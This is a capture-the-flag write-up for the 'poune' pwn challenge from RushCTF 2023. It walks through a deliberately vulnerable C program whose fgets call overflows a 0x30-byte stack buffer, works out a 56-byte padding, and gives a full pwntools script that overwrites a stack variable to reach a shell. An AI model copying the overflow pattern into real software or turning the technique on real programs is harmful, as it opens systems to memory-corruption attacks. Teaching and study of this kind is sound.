Note

Writeup for the first pwn challenge from the RushCTF 2023.

Description

Hello kind sir!Β Can you read flag.txt?

poune.zip

File information

checksec chall && file chall

[*] '/home/conflict/ctfs/rushctf2023/pwn/poune/chall'
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      No PIE (0x400000)
chall: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, BuildID[sha1]=6f24ec1597edb178ec5b862b44e5fbcb92df3137, for GNU/Linux 3.2.0, not stripped

So, we’re going to work on a 64 bits non-stripped dynamically linked executable, with NX enabled.

For the source code, there is no need to decompile the file because we have the .c file.

#include <stdio.h>
#include <stdlib.h>

void main()
{
    int var;
    long int check = 0x04030201;
    char buf[0x30];

    puts("Hello kind sir!");
    printf("My variable \"check\" value is %p.\nCould you change it to 0xc0febabe?\n", check);
    printf("This is the current buffer: %s\n", buf);
    fgets(buf, 0x40, stdin);

    if (check == 0x04030201)
    {
        puts("Mmmh not quite...\n");
    }
    if (check != 0x04030201 && check != 0xc0febabe)
    {
        puts("Mmmh getting closer!...");
        printf("This is the new value of \"check\": %p\n", check);
    }
    if (check == 0xc0febabe)
    {
        puts("Thanks man, you're a life saver!\nHere is your reward, a shell! ");
        system("/bin/sh");
        puts("Bye bye!\n");
    }
}

Exploitation

By looking at the code, we see that our goal is to overwrite the value of a variable located on the stack and we’re given its current value.

Then, a call to fgets() reads 0x40 bytes of input and stores it in a 0x30 bytes buffer, which allows us to overflow it.

Now, we need to know the length of our padding, to do so, we can throw the binary in a decompiler such as Cutter.

2023-03-11-233206_389x85_scrot

We see here that our buffer lives at rbp-0x40, which means we would need to send 0x40 bytes to start overwriting rbp. But that’s not our goal, we want to overwrite the var_8h variable, which is the check variable.

0x40 - 0x8 = 56, so we need to send 56 bytes to start overwriting the value of our variable.

Let’s craft our payload !

#!/usr/bin/env python3

from pwn import *

exe = ELF("./chall")

context.binary = exe


def conn():
    if args.LOCAL:
        r = process([exe.path])
        if args.DEBUG:
            gdb.attach(r)
    else:
        r = remote("challs.ctf.cafe", 7777)

    return r


def main():
    r = conn()
    
	# Pad 56 bytes to start overwriting 
    padding = b"A"*56

	# Pack our value in little-endian (64 bit)
    value = p64(0xc0febabe)

    payload = padding + value

    r.sendline(payload)

    r.interactive()


if __name__ == "__main__":
    main()

2023-03-11-233825_669x757_scrot

GG !